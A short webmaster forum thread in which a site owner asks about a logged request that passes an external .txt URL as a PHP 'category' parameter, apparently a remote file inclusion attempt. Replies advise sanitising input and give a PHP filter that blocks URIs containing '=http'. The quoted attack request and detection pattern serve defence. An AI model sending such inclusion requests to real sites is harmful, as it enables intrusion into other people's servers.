Forum Moderators: coopster
just checked this in my incoming traffic...can somebody what someone is trying to do..and how i can prevent it?
http://*****.com/catalog.php?category=http://sub.example.ru/images/image.txt
lot of such kind of requests.
Thanks,
[edited by: jatar_k at 2:01 pm (utc) on Feb. 6, 2008]
[edit reason] no urls thanks [/edit]
You have to make sure that you clean all user input, so in this case, it would be your category GET variable. Make sure that it can only contain what it should contain, and make sure that someone who, after some experimentation, cannot transverse your file system or include outside material that would be harmful.
if(stristr($_SERVER['REQUEST_URI'],'=http')){
header('HTTP/1.1 503 Service Unavailable');
print("<html><head>\n");
print("<title>Error</title>\n");
print("</head><body>\n");
print("<p>This page has been left intentionally blank.</p>\n");
print("</body></html>\n");
exit;}
